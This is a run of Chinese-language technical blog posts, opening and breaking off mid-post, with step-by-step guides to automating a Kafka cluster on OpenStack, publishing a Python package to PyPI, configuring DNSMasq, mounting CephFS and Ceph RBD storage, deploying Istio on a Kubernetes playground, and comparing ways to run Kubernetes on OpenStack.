Kafka 是否正常工作 运行以下命令查看 Kafka broker 节点列表,如果显示如下,证明已经三个节点都已经运行成功了。 $ /opt/kafka/bin/zookeeper-shell.sh localhost:2181 <<< "ls /brokers/ids" Connecting to localhost:2181 Welcome to ZooKeeper! JLine support is disabled WATCHER:: WatchedEvent state:SyncConnected type:None path:null [1, 2, 3] 3. 自动化 在 OpenStack 环境下使用 Kafka 集群必然不会是装好了就完事,而是需要把 Kafka 做成模板镜像,可以自动化的启动。经过上面的安装步骤,我们已经有了可用的 Kafka 虚拟机,虚拟机做快照,然后上传成镜像即可,接下来看看在镜像启后如何修改 Kafka 实例的信息,让其组成集群。下面这个 shell 脚本可以实现在启动时修改个性化信息的作用,需要在 OpenStack 启动实例时,通过 CloutInit 注入到虚拟机实例中。需要提前将该脚本放在虚拟机的 /usr/bin/ 目录下,调用方式如下: $ /usr/bin/kafka-init.sh <server-id> <cluster-name> <kafka-1-ip> <kafka-2-ip> <kafka-3-ip> ...... 解释一下上面命令参数的含义: <server-id>:虚拟机在 kafka 集群中的唯一标识,取值范围为:1~255。 <cluster-name>:Kafka 集群的名字,主要用来配置集群中虚拟机的主机名,和 <server-id> 配合使用,例如 <server-id> 取值为 1,<cluster-name>取值为 "Kafka",那么该主机的主机名就会设置为:Kafka-1。 <kafka-1-ip>:Kafka 集群中虚拟机节点的 IP 地址。 该脚本支持启动多于多于个节点的 Kafka 实例自动创建,最大值限制为 10 个节点,只要资源足够,也可以放宽上限的限制。 #!/bin/bash PARAM_NUM=$# if [[ "$PARAM_NUM" -le 4 ]] || [[ "$PARAM_NUM" -gt 12 ]]; then echo "Failed. Kafka cluster require at least 3 nodes and no more than 10 nodes. Your input is: $@" exit 0 fi MYID=$1 CLUSTER_NAME=$2 HOST_NAME=$CLUSTER_NAME"-"$MYID sudo echo $MYID > /etc/zookeeper/conf/myid sudo hostname $HOST_NAME sudo bash -c "echo $HOST_NAME > /etc/hostname" sudo sed -i "s/kafka\-1/$HOST_NAME/g" /opt/kafka/config/server.properties sudo sed -i "s/broker.id=0/broker.id=$MYID/g" /opt/kafka/config/server.properties declare -a servers index=0 for param in $@ do if [[ $index -gt 1 ]]; then eval "KAFKA_$((index-1))_IP=$param" echo "$param $CLUSTER_NAME-$((index-1))" echo "$param $CLUSTER_NAME-$((index-1))" >> /etc/hosts echo "server.$((index-1))=$CLUSTER_NAME-$((index-1)):2888:3888" echo "server.$((index-1))=$CLUSTER_NAME-$((index-1)):2888:3888" >> /etc/zookeeper/conf/zoo.cfg servers=("${servers[@]}" "$CLUSTER_NAME-$((index-1)):2181") echo ${servers[@]} fi index=$((index+1)) echo $param done function join_by { local IFS="$1"; shift; echo "$*"; } zookeeper_connect_str="zookeeper.connect="`join_by , ${servers[@]}` echo $zookeeper_connect_str echo $zookeeper_connect_str >> /opt/kafka/config/server.properties sudo systemctl restart zookeeper.service sleep 2 sudo systemctl restart kafka.service sudo rm -f /usr/bin/kafka-init.sh 4. 连接测试 Kafka 集群已经就绪,接下来让我们用自带的 consumer 和 producer 客户端实际测试一下,看看 Kafka 能不能正常工作。先来创建一个名为 test 的 topic。 $ /opt/kafka/bin/kafka-topics.sh --create --zookeeper kafka-1:2181 --topic test --partitions 3 --replication-factor 3 $ /opt/kafka/bin/kafka-topics.sh --list --zookeeper kafka-1:2181 test 再非别启动 consumer 和 producer,在 producer 启动后出现的命令行中输入一些信息,consumer 中能正常读取到,那么就证明 Kafka 的基本功能没有问题了。 $ /opt/kafka/bin/kafka-console-producer.sh --broker-list kafka-1:9092,kafka-2:9092,kafka-3:9092 --topic test --producer.config /opt/kafka/config/producer.properties > abc > def > ghi $ /opt/kafka/bin/kafka-console-consumer.sh --consumer.config /opt/kafka/config/consumer.properties --bootstrap-server kafka-1:9092,kafka-2:9092,kafka-3:9092 --from-beginning --topic test abc def ghi 3. 参考文档 Setting up Apache ZooKeeper Cluster | Apache ZooKeeper Tutorials how to check if zookeeper is running or up from command prompt How to Configure an Apache Kafka Cluster on Ubuntu 16.04 Kafka And Zookeeper Multi Node Cluster Setup Client-Server mutual authentication 集群Kafka配置SASL用户名密码认证 Kafka认证处理,ACL访问控制 Authentication using SASL Zookeeper权限管理之坑 Introduction to Apache Kafka Security Zookeeper - Super User Authentication and Authorization
pypi 写过 Python 程序的小伙伴们都知道,需要 import 个非 Python 自带的软件包时,都要用到 pip 这个程序。平时我们都是用 pip,如果我们写好了一个程序,想让大家都能用的到,那么是不是也可以通过 pip 发布出去呢? 答案当然是可以了,这篇文章我们就来看看如何用 pip 发布一个 python 程序。 1. 环境准备 要用 pip 发布 python 程序,首先当然是要安装 Python 和 pip 这两个软件了,以 Ubuntu 16.04 为例: $ sudo apt update $ sudo apt install -y python python-pip CentOS 和 RedHat 因为 RPM 体系需要依赖于 python,更是默认就安装好了。 另外发布 Pypi,还需要安装一个发布工具,twine,以及其所依赖的 setuptools、wheel: $ sudo pip install --upgrade twine setuptools wheel 好,到这环境就已经就绪了。 2. 注册帐号 pip 上传代码包是最终保存在 https://pypi.org 这个网站上的,所以要用 pip 发布程序,就需要在这个网站上注册一个帐号。 访问该网址进行注册:https://pypi.org/account/register/ pypi 注册后还需要进行邮箱验证,流程和普通网站没有任何区别,所以具体步骤就不在这里详细介绍了。 3. 代码结构 要发布 Python 程序,程序的结构必须符合特定的要求,假设要发布的程序名为 example-pkg,基本的目录结构如下: /example-pkg /example-pkg __init__.py setup.py LICENSE README.md 说一下目录和文件的含义: 首先最外层要建立一个和发出程序同名的文件夹:/example-pkg 该文件夹下还要再简历一个同名文件夹,用来存放程序代码:/example-pkg/example-pkg Python 的老规矩,example-pkg/example-pkg 目录下当然要有一个 __init__.py 文件。 /example-pkg 目录下要有一个叫 setup.py 的文件,如果下载过 Python 代码包,应该都知道这个文件,需要通过这个文件进行 Python 代码的编译(可能会有依赖的其他代码包或者依赖的 C 文件)和安装。 LICENSE 文件:这个文件就是用来保存代码所使用的开源许可证。 README.md:这个是软件行业的惯例了,帮助文档。 对于 setup.py 文件,还有必要好好说说,先贴个例子,下面这个例子中,主要是实现了从 /example-pkg/example-pkg/__init__.py 文件中读取 version 参数,来配置当前软件的版本,并指定了代码包名(name)、作者(author)、邮箱(author_email)、描述信息(long_description、long_description_content_type)、依赖(install_requires),以及哪些文件不会被打包到程序中(exclude_package_data)。 另外需要提醒大家一点,给程序起名字不要带下划线(_),python import 代码包时,是不支持下划线包名的,出现这种情况就比较尴尬,代码装上了,还是用不了。 #!/usr/bin/env python import re import setuptools version = "" with open('example-pkg/__init__.py', 'r') as fd: version = re.search(r'^__version__\s*=\s*[\'"]([^\'"]*)[\'"]', fd.read(), re.MULTILINE).group(1) with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="example-pkg", version=version, author="example", author_email="author@example.com", description="This is the SDK for example.", long_description=long_description, long_description_content_type="text/markdown", url="http://example.com", install_requires=[ 'requests!=2.9.0', 'lxml>=4.2.3', 'monotonic>=1.5', ], packages=setuptools.find_packages(exclude=("test")), classifiers=( "License :: OSI Approved :: MIT License", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5" ), exclude_package_data={'': ["example-pkg/test.py", "example-pkg/config.txt"]}, ) 4. 上传和检查 一切准备就绪,下面就可以执行打包命令,产生要上传的代码包了: $ python setup.py sdist bdist_wheel 执行结束后,会产生如下目录和文件: /example-pkg/dist/ example-pkg-0.0.1-py3-none-any.whl example-pkg-0.0.1.tar.gz 包有了,就差上传了,执行第一步中安装的 twine 命令: $ twine upload dist/* Uploading distributions to https://upload.pypi.org/legacy/ Enter your username: <your pypi.org username> Enter your password: <your pypi.org password> Uploading example-pkg-0.0.1-py3-none-any.whl 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 45.0k/45.0k [00:01<00:00, 24.0kB/s] Uploading example-pkg-0.0.1.tar.gz 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 43.8k/43.8k [00:00<00:00, 46.2kB/s] 上传完毕!不过这里有一点需要注意,上传新版本后,很可能 pip search 还没法查到版本的更新,这是正常的,我理解是pip search 命令依赖于缓存,所以不会立刻生效。 接下来就让我们下载自己刚刚上传的 python 试试吧: $ pip install example-pkg $ python >>> import example-pkg >>> example-pkg.name 'example-pkg' 最后再补充一点,上传可能会失败,提示无法上传指定的代码包,此时很大的可能是 pypi 中已经有了相同的代码包,所以建议在上传之前,先搜索一下是否有重名的代码包,选择一个不冲突的名字,再上传。 例如下面这个例子,example-pkg 已经存在了,如果要再上传,那当然会失败,换个名字就解决了。 $ pip search example-pkg example-pkg (0.0.7) - A small example package ...... 5. 参考文档 Packaging Python Projects
DNSMasq DNSMasq 主要用来解决内网 DNS 域名缓存、DHCP、网络启动和路由通告功能,本文主要是将 DNSMasq 作为内网 DNS 使用。安装环境为 Ubuntu 16.04。 1. 安装 Ubuntu 安装很简单,使用自带的 APT 安装就可以了。 $ sudo apt update $ sudo apt install -y dnsmasq 完成后,需要对配置做些修改: $ sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.bak $ sudo vim /etc/dnsmasq.conf .... resolv-file=/etc/resolv.conf strict-order listen-address=<host-ip> addn-hosts=/etc/hosts.dnsmasq 需要在配置文件中新增四行,下面解释一下新增这个四行的含义: resolv-file:从文件读取 DNSMasq 上游的 DNS 服务器配置。 strict-order:resolv-file 文件中如果指定了多个 DNS 服务器,严格安装 DNS 服务器的先后顺序查询域名。 listen-address:监听地址,配置为本机 IP 即可。 addn-hosts:从文件读取本地 DNS 域名和 IP 的对应关系,格式为 <IP> <Domain name>。其实可以把 IP 和域名的对应关系写在 /etc/hosts 文件中,DNSMasq 默认从那里读取,但如果要支持一个域名对应多个 IP,就必须使用 addn-hosts 选项了。 /etc/hosts.dnsmasq 文件内容如下: $ cat /etc/hosts.dnsmasq 10.0.0.1 blackpiglet.com 10.0.0.2 blackpiglet.com 10.0.0.3 blackpiglet.com 修改完成后重启 DNSMasq $ sudo systemctl restart dnsmasq.service 2. resolv.conf 设置 上面提到了 DNSMasq 是从 /etc/resolv.conf 文件中读取上游的 DNS 服务器的,所以可能要修改该文件,但是 Ubuntu 系统里该文件很可能是自动生成的,如果是自动生成的,系统重启,该文件的修改内容无法保存。 $ cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN nameserver 10.0.0.2 nameserver 114.114.114.114 nameserver 127.0.0.1 那么我们该怎么让修改一直有效呢?这个文件是由 resolvconf.service 来负责维护的,我们可以通过修改下面这个文件来达到我们想要的效果: $ cat /etc/resolvconf/resolv.conf.d/head # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN nameserver 10.0.0.2 nameserver 114.114.114.114 3. 参考文档 dnsmasq安装使用和体验 解决dnsmasq安装好之后主机不能解析其他域名的问题 Dnsmasq 介绍与使用
Ceph 之前介绍了 RBD 的使用方法,有了 RBD,远程磁盘挂载的问题就解决了,但 RBD 的问题是不能多个主机共享一个磁盘,如果有一份数据很多客户端都要读写该怎么办呢?这时 CephFS 作为文件系统存储解决方案就派上用场了。 1. CephFS 安装 在已经部署好的 Ceph 集群上安装 CephFS 还是比较简单的,首先需要安装 MDS,原因是 CephFS 需要统一的元数据管理,所以 MDS 必须要有。 $ ceph-deploy --overwrite-conf mds create <cephfs-master> 剩下的就是 pool 相关的处理的了: $ ceph osd pool create cephfs_data 1024 $ ceph osd pool create cephfs_metadata 100 $ ceph fs new cephfs cephfs_metadata cephfs_data 这样 CephFS 就已经安装好了,执行下面的命令验证一下状态,看到 up 和 active 就表示状态正常。 $ ceph fs ls name: cephfs, metadata pool: cephfs_metadata, data pools: [cephfs_data ] $ ceph mds stat cephfs-1/1/1 up {0=cephfs-master1=up:active} 2. CephFS 物理机挂载 接下来尝试一下远程挂载刚刚创建出来的 CephFS,首先还是要在客户机上安装 Ceph,这步和远程挂载 RBD 是一样的: # On Linux client $ echo "<user-name> ALL = (root) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/<user-name> $ sudo chmod 0440 /etc/sudoers.d/<user-name> $ sudo apt-get install -y python # On Ceph master $ ceph-deploy install <Linux-client-IP> $ ceph-deploy admin <Linux-client-IP> 然后获取 Ceph admin 用户的密钥,就是 <admin-key> 对应的部分。 $ ceph auth get client.admin exported keyring for client.admin [client.admin] key = <admin-key> caps mds = "allow *" caps mgr = "allow *" caps mon = "allow *" caps osd = "allow *" 接下来创建挂载目录,并挂载,注意替换 <monitor-ip> 和 <admin-key>,分别对应 Ceph monitor 所在的 IP 和刚刚在上一步获取的 admin 密钥。 $ sudo mkdir /mnt/cephfs $ sudo mount -t ceph <monitor-ip>:6789:/ /mnt/cephfs/ -o name=admin,secret=<admin-key> 至此就已经挂载成功了,可以在挂载的目录下创建新目录,写入新文件,在其他同样挂载该 CephFS 的服务器上,也能看到同样的变化。 如果想做到开机启动就挂载 CephFS,请参考 使用ceph的文件存储CephFS 3. CephFS 用户隔离 上一步已经实现了远程挂载,和文件共享,但如果多个产品同时使用一个 CephFS,如果数据都互相可见,显然是不够安全的,那么就要做隔离,咱们接下来就来看看 CephFS 是如何做到这点的。 CephFS 这个文件系统还是统一的,所以隔离是在用户层面做的,具体的做法是:限定某个用户只能访问某个目录。 下面这个命令创建了一个叫 bruce 的用户,这个用户只能访问目录 /bruce,数据存储在 pool cephfs_data 中。 $ ceph auth get-or-create client.bruce mon 'allow r' mds 'allow r, allow rw path=/bruce' osd 'allow rw pool=cephfs_data' 如果要做进一步的隔离,想让不通用户的数据存储在不同的 pool,可以用命令将 pool 加入的 CephFS 中,再用命令指定,加入 pool 的命令如下: $ ceph mds add_data_pool bruce $ ceph fs ls .... data pools: [cephfs_data bruce ] 挂载方式和 admin 用户挂载一样: $ sudo mount -t ceph 10.19.250.136:6789:/ /mnt/bruce -o name=bruce,secret=AQCt8qBbx4XGKBAACWG5lQHRX7FTo0nVZCYxNA== 挂载后,可以看到其他目录,但没有操作权限,只能在 /mnt/bruce/bruce 下操作。 $ /mnt/bruce$ ls abc bruce $ /mnt/bruce$ cd abc $ /mnt/bruce/abc$ sudo mkdir test mkdir: cannot create directory 'test': Permission denied $ /mnt/bruce/abc$ cd ../bruce $ /mnt/bruce/bruce$ mkdir test $ /mnt/bruce/bruce$ ls test 4. Kubernetes 集群使用 CephFS 首先把 Ceph 用户的密钥以 secret 形式存储起来,下面的命令是获取 admin 用户的密钥,如果使用其他用户,可以把 admin 替换为要使用的用户名即可。 $ ceph auth get-key client.admin | base64 QVFEMDFWVmFWdnp6TFJBQWFUVVJ5VVp3STlBZDN1WVlGUkwrVkE9PQ== $ cat ceph-secret.yaml apiVersion: v1 kind: Secret metadata: name: ceph-secret data: key: QVFEMDFWVmFWdnp6TFJBQWFUVVJ5VVp3STlBZDN1WVlGUkwrVkE9PQ== 接下来创建 PV: $ cat cephfs-pv.yaml apiVersion: v1 kind: PersistentVolume metadata: name: cephfs-pv spec: capacity: storage: 10Gi accessModes: - ReadWriteMany cephfs: monitors: - <monitor1-id>:6789 - <monitor2-id>:6789 user: admin secretRef: name: ceph-secret readOnly: false persistentVolumeReclaimPolicy: Recycle 最后创建 PVC: $ cat cephfs-pvc.yaml kind: PersistentVolumeClaim apiVersion: v1 metadata: name: cephfs-pvc spec: accessModes: - ReadWriteMany resources: requests: storage: 10Gi PV 和 PVC 都有以后,使用方式和普通的 PV 和 PVC 无异。 5. 参考文档 初试 Kubernetes 集群使用 CephFS 文件存储 在Kubernetes上使用CephFS作为文件存储 FILE LAYOUTS [ceph-users] can I create multiple pools for cephfs 使用ceph的文件存储CephFS
block storage RBD 是 Ceph 的块存储方案,最近需要在一台 Linux 服务器上挂载 Ceph 镜像,做法和 Kubernetes 挂 RBD 很像,但部分操作由于 Kubernetes 在镜像中已经固化了,所以将这次完全自己控制的步骤记录下来,加深对 Ceph 挂载的理解。 1. 安装 Ceph 要挂载 RBD 磁盘的 Linux 服务器首先要有 Ceph 的客户端,也就是 RBD 的客户端,以及一些 RBD 专用的 kernel module,毕竟这是要通过网络走特定的协议来完成的磁盘挂载,和本地直接 mount 还是有差别的。 安装过程并不复杂,因为环境中已经有了 Ceph 集群,从 Ceph 集群中的主节点使用 ceph-deploy 扩展新节点即可,就不再描述如何安装 Ceph 了。 # On Linux client $ echo "<user-name> ALL = (root) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/<user-name> $ sudo chmod 0440 /etc/sudoers.d/<user-name> $ sudo apt-get install -y python # On Ceph master $ ceph-deploy install <Linux-client-IP> $ ceph-deploy admin <Linux-client-IP> 2. 创建和挂载磁盘 上一步,已经在要挂载 RBD 的 Linux 服务器上安装好了 Ceph,接下来的操作在要挂载 Ceph RBD 磁盘的 Linux 服务器上操作即可。 首先为这个磁盘单独创建一个存储池,并指定该存储池作为 RBD 使用 $ sudo ceph osd pool create <pool-name> 50 50 # 两个 50 指定的 pg 和 pgp 的数量 $ sudo ceph osd pool application enable <pool-name> rbd 然后创建磁盘,下面这个命令创建了一个 1T 大小的磁盘,image-feature 参数指定的是 RBD 镜像的功能特性,很多功能特性只有高版本的 Linux kernel 才支持,甚至有些都没有 kernel 版本支持,所以只打开最基本的 layering 即可。 $ sudo rbd create <pool-name>/<image-name> --size 1T --image-feature=layering 接下来为了将远端的 RBD 磁盘挂载到本地,需要将其映射到本地的盘符上。 $ sudo rbd map <pool-name>/<image-name> 虽然已经关掉了大部分的 RBD 功能特性,结果还是报错了: libceph: ... feature set mismatch, my 107b84a842aca < server's 40107b84a842aca, missing 400000000000000 3. 排错 接下来让我们看看 missing 400000000000000 是个什么意思。400000000000000 是一个二进制的字符串,每一个比特位对应一个 RBD 的功能特性,每个比特标识什么意思详见下表,表中还标出了支持该特性的内核版本,400000000000000 对应的特性是 CEPH_FEATURE_NEW_OSDOPREPLY_ENCODING,内核是从 4.5 开始支持的,而这次用的 Linux 系统是 Ubuntu 16.04,内核版本为 4.4,所以才会报出这个问题。 Feature BIT OCT 3.8 3.9 3.10 3.14 3.15 3.18 4.1 4.5 4.6 CEPH_FEATURE_NOSRCADDR 1 2 R R R R R R R R R CEPH_FEATURE_SUBSCRIBE2 4 10 -R- CEPH_FEATURE_RECONNECT_SEQ 6 40 -R- R R R R R R CEPH_FEATURE_PGID64 9 200 R R R R R R R R CEPH_FEATURE_PGPOOL3 11 800 R R R R R R R R CEPH_FEATURE_OSDENC 13 2000 R R R R R R R R CEPH_FEATURE_CRUSH_TUNABLES 18 40000 S S S S S S S S S CEPH_FEATURE_MSG_AUTH 23 800000 -S- S S S CEPH_FEATURE_CRUSH_TUNABLES2 25 2000000 S S S S S S S S CEPH_FEATURE_REPLY_CREATE_INODE 27 8000000 S S S S S S S S CEPH_FEATURE_OSDHASHPSPOOL 30 40000000 S S S S S S S S CEPH_FEATURE_OSD_CACHEPOOL 35 800000000 -S- S S S S S CEPH_FEATURE_CRUSH_V2 36 1000000000 -S- S S S S S CEPH_FEATURE_EXPORT_PEER 37 2000000000 -S- S S S S S CEPH_FEATURE_OSD_ERASURE_CODES*** 38 4000000000 CEPH_FEATURE_OSDMAP_ENC 39 8000000000 -S- S S S S CEPH_FEATURE_CRUSH_TUNABLES3 41 20000000000 -S- S S S S CEPH_FEATURE_OSD_PRIMARY_AFFINITY 41* 20000000000 -S- S S S S CEPH_FEATURE_CRUSH_V4 **** 48 1000000000000 -S- S S CEPH_FEATURE_CRUSH_TUNABLES5 58 200000000000000 -S- S CEPH_FEATURE_NEW_OSDOPREPLY_ENCODING 58* 400000000000000 -S- S 解决这个问题,可以有两种方法,第一种是升级 kernel,第二种方法是降级 Ceph 的 CRUSH 算法,本文采用的是第二种方法,因为升级第二种方法操作起来更简单,风险也更低,一条命令即可: $ sudo ceph osd crush tunables legacy 映射操作现在可以成功了! $ sudo rbd map <pool-name>/<image-name> /dev/rbd0 接下来的操作和挂载一个本地磁盘就没有任何区别了: $ sudo mkfs.ext4 /dev/rbd0 $ sudo mkdir /data $ sudo mount /dev/rbd0 /data/ 让我们看看挂载的结果吧。 $ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 893.8G 0 disk |-sda1 8:1 0 476M 0 part /boot |-sda2 8:2 0 119.2G 0 part [SWAP] `-sda3 8:3 0 774.1G 0 part / rbd0 251:0 0 1T 0 disk /data 4. 参考文档 [ceph-users] Rbd map command doesn't work [ceph-users] Rbd map command doesn't work Feature Set Mismatch Error on Ceph Kernel Client Linux挂载RBD ceph分布式存储实战(4)——ceph存储配置(映射RBD镜像到客户端)
Kubernetes and Istio 翻译一篇 Istio 部署教程,原文链接:test-drive-your-first-istio-deployment-using-play-with-kubernetes-platform-cloud-computing 作为一名全栈开发,假如最近花了不少时间开发应用,肯定已经理解了微服务架构下要面临的一系列全新挑战。尽管应用已经从庞大的单体应用转变成了开发更快、弹性更好、更小也更聚焦的微服务,但现实是,开发者需要开始操心将这些服务集成到分布式系统中的问题了,包括服务发现、负载均衡、注册、容错、监控、路由、兼容和安全等。 让我们更详细的拆解微服务架构下开发和运维面临的挑战吧。先来看看第一代简单的 Service Mesh 场景,如下图所示,服务 A 要和 服务 B 通信,没有采用直接通信的方式,请求是通过 NGINX 路由的。NGINX 从 Consul(服务发现工具)查找路由,并在收到 HTTP 502 响应时,自动重试。 图 1.0 - 一代 Service Mesh 图 1.1 - 服务增多时,级联失败演示 但随着微服务架构的到来,服务数量的增长一发不可收拾,下面列出的是开发和运维团队遇到的问题: 如何让日益增长的微服务们互联? 如何为微服务提供负载均衡? 为微服务提供基于角色的路由; 如何控制微服务的出口流量,如何实现灰度发布? 如何控制不断增长的微服务的复杂度? 如何用富路由规则实现细粒度的流量控制? 实现流量加密、服务到服务的鉴权和强身份声明的挑战 简而言之,虽然你可以在应用和网络中间件中开启服务发现和重试机制,但实际上,想让服务发现正常工作是非常困难的。 初试 Istio Service Mesh Service Mesh 是 2018 年度最火热的流行词之一,它是微服务的可配置基础架构层,负责微服务应用间的交互,service mesh 让微服务实例间的交互更灵活、可靠和快速。Mesh 层提供了服务发现、负载均衡、加密、鉴权和验证,支持熔断机制等其他能力。 Istio 是完全开源的,可透明的部署在已有的分布式应用上。Istio 1.0 版本在上个月发布,已经生产环境可用。Istio 完全由 Go 语言编写,提供成熟的 API 接口可以接入到任何日志平台、遥测和策略系统中。Istio 在 GitHub 上发布,对系统的性能影响很小,丰富的特性让你可以顺利、高效的运行分布式微服务架构,并提供统一的保护、连接和监控方法。 图 1.2 Istio 功能 Istio 对系统的影响很小,它在 GitHub 上发布,上个月,Istio 1.0 版本已经发布,并且生产环境可用。 Istio 能带来什么好处呢? Istio 提供服务的连接、保护、控制和观测能力。 减少服务部署的复杂度,减轻部署团队的压力。 在无需修改应用代码的前提下,为开发和开发运维提供了细粒度的流量可视化和控制。 为 CIO 提供了帮助全企业安全实施和合规型需求的必要工具。 在 service mesh 层提供了统一的行为监测和运营控制。 Istio 让为服务网络提供 HTTP、gRPC、Web Socket 和 TCP 流量的自动负载均衡变的轻松。 提供了细粒度的流量行为控制,包括:富路由规则、重试、故障转移和失败注入。 支持插件化的策略控制层和配置 API,支持访问控制、流量限制和配额。 Istio 为集群内的全部流量提供自动的度量、日志、追踪,包括进群的入口和出口。 以强身份验证和鉴权的方式,提供了集群内安全的服务间通信。 如何想深入 Istio 架构,我强烈推荐 Istio 官方网站(https://istio.io/zh)。 image 开始演示!!! 在这篇文章中,我将展示如何在 Play with Kubernetes(PWK)中免费部署 Istio,这是个由 Docker 提供的实验网站,是让用户在几秒钟内跑起来 Kubernetes 集群的试验环境。PWK 提供了在浏览器中使用免费 CentOS Linux 虚拟机的体验,实际上是 Docker-in-Docker(DinD)技术模拟了多虚拟机/PC 的效果。 打开 https://labs.play-with-k8s.com/,访问 Kubernetes Playground。 image 点击 "Login" 按钮,以 Docker Hub 或 GitHub ID 登陆。 image 完成本教程,你将获得自己的实验环境。 添加第一个 Kubernetes 节点 点击左侧的 "Add New Instance" 来构建你的第一个 Kubernetes 集群节点,自动命名为 "node1",每个节点都预装来 Docker 社区版(CE)和 Kubeadm。这个节点将成为集群的主节点。 image 启动主节点 用如下脚本初始化主节点(node1)来启动 Kubernetes 集群,复制该脚本内容到文件 bootstrap.sh,并执行命令添加可执行权限:chmod +x bootstrap.sh image 执行脚本时,作为初始化的一部分,kubeadm 会写入几个必要的配置文件、设置 RBAC 并部署 Kubernetes 控制平面组件(例如 kube-apiserver、kube-dns、kube-proxy、etcd 等)。控制平面组件以 docker 容器形式部署。 image 复制上面的 kubeadm join token 命令,留作下步使用,此命令用来在集群中加入其他节点。 添加从节点 点击 "Add New Node" 添加新的从节点 image 验证集群状态 image 验证运行的 Pods image 安装 Istio 1.0.0 Istio 部署在单独的 Kubernetes 命名空间里:istio-system,我们过后再来验证。现在,复制如下内容到文件,命名为 install_istio.sh,并保存。添加可执行权限,运行以安装 Istio 和相关工具。 image 屏幕上应显示如下内容: image 如上所示,默认会安装 Prometheus、ServiceGraph、Jaeger、Grafana 和 Zipkin。 请注意:运行该脚本时,可能会报如下错误: unable to recognize "install/kubernetes/istio-demo.yaml": no matches for admissionregistration.k8s.io/, Kind=MutatingWebhookConfiguration 这是正常的,命令一执行完,可在页面的中央看到一长串展示的端口。 image image 验证服务 image 暴露服务 要暴露 Prometheus、Grafana 和 服务图标服务,需要先删除已有的服务,用 NodePort 替换 ClusterIP,用实例页顶端展示的端口访问服务(如下所示)。 image image 点击 "30004" 访问 Grafana 页,点击 "30003" 访问 Prometheus 页。 image image 可以如下图所示,选择必要配置查看 Prometheus 度量: image 在 Grafana 页,添加 Prometheus 数据源,并确认 Dashboard 已经运行。 image 恭喜!你已经将 Istio 部署在 Kubernetes 集群上了,K8S playgroud 上已经安装的服务包括: Istio Controllers,以及相关 RBAC 规则 Istio 定制资源定义 Prometheus 和 Grafana 监控系统 Jeager 分布式追踪系统 Istio Sidecar 注入程序(下一节我们再来仔细看看) 安装 Istioctl Istioctl 是 Istio 的命令行配置工具,可以用来创建、查询、修改和删除 Istio 系统的配置资源。 image 部署 BookInfo 应用示例 Istio 已经安装并验证过了,可以在上面部署示例应用 BookInfo 了,这是一个简单的书店模拟应用,由四个服务组成:网站首页、书籍信息、评论(几个特定的版本有评论服务)和评分,全部由 Isito 管理。 部署 BookInfo 服务 image 定义入口网关 image 验证 BookInfo 应用 image image 通过 URL 访问 image 现在应该可以看到 BookInfo 示例了: image 希望本部程能帮你顺利的在 Kubernetes 上部署 Istio。下一篇博客,我将深入 Isito 的内部架构、流量控制、权限和遥测等细节。
Kubernetes on OpenStack 目前在 OpenStack 上部署 Kubernetes 有多种方式,本文会先简要描述每种方案,再使用图标进行简单的对比,并尝试给出个人认为的较优方案。 Tectonic Tectonic 由 CoreOS 开发,是开源企业级的 Kubernetes 部署解决方案,对 Kubernetes 做了一些改造,支持多集群管理(也就是支持多租户管理),更流畅的图形化管理等。但 Tectonic 主要的目标是在公有云上部署,比如 GCE、AWS 等,虽然也开始支持 OpenStack 等私有云,但目前还不够成熟,处于 pre-alpha 阶段,所以暂不考虑。 以下是在 OpenStack 上部署的官方文档:Deploy tectonic on OpenStack by Terraform kops Kubernetes 由 Kubernetes 社区开发,是一个部署 Kubernetes 的命令行工具,和 Tectonic 一样,主要的目标也是在公有云上部署 Kubernetes,而且对 OpenStack 的支持也不算好,目前处于 Alpha 阶段。所以 kops 也不予考虑。 以下是 kops 在 OpenStack 上部署的官方文档:Deploy on OpenStack tutorial kubeadm Kubernetes 由 Kubernetes 社区开发,是 Kubernetes 目前官方推荐的部署方式,大幅简化了 Kubernetes 的部署复杂度,但依旧需要较多的手动操作,而且这和在裸机上部署是没有任何区别的,对 Kubernetes 没有任何的功能增强。但是可以考虑在其他方案实施难度较大时,作为备选方案:先用 kubeadm 在 OpenStack 上手动搭建好环境,做成镜像,再使用 cloud-init 注入个性化数据(可能这部分的工作量也不小)。 以下是 kubeadm 在 OpenStack 上部署教程:kubeadm + openstack cloud provider using Kubernetes 1.9 各种自动化部署工具 CM tools 早在 2015 年,Kubernetes 社区就已经有了比较成熟的使用 Ansible 部署的 playbook。虽然没有全部查证,但我相信所有的主流自动化部署工具都有成熟的 Kubernetes 部署方案,例如 Ansible、Puppet、Salt、Terraform、Nomad 和 Chef 等。这比 kubeadm 的好处是,自动化部署,不需要手动干预,但如果部署好 OpenStack 虚拟机后,安装 Kubernetes 的执行时间过长的话,还是不能直接使用,依旧要做镜像,和注入个性化数据。这个也可以作为备选方案,进行尝试。 kubespray Kubespray 由 Kubernetes 社区开发,是一个凡用的 Kubernetes 部署工具,目的是自动化的将 Kubernetes 部署在任何环境上,当然也支持 OpenStack。需要注意的是,这是部署工具,所以没有对 Kubernetes 做任何功能上的增强,且底层的实现,就是使用 Ansible 来做自动化部署。考虑到是由 Kubernetes 社区提供,使用中可能会遇到一些国外服务器上的镜像无法获取的问题,再加上代码的封装,恐怕修改还不如直接用 Ansible 来的方便。所以暂不考虑该方案。 以下是 kubespray 的 github:kubespray Rancher Rancher 由 Rancher 开发,是开源企业级的 Kubernetes 部署解决方案,支持在 OpenStack 上部署,同时好处是对 Kubernetes 做了增强,支持多租户,有更好的界面和使用体验,可以作为备选之一,但可能的坏处是,需要深入的理解 Rancher 的开源代码,以及和 Kubernetes 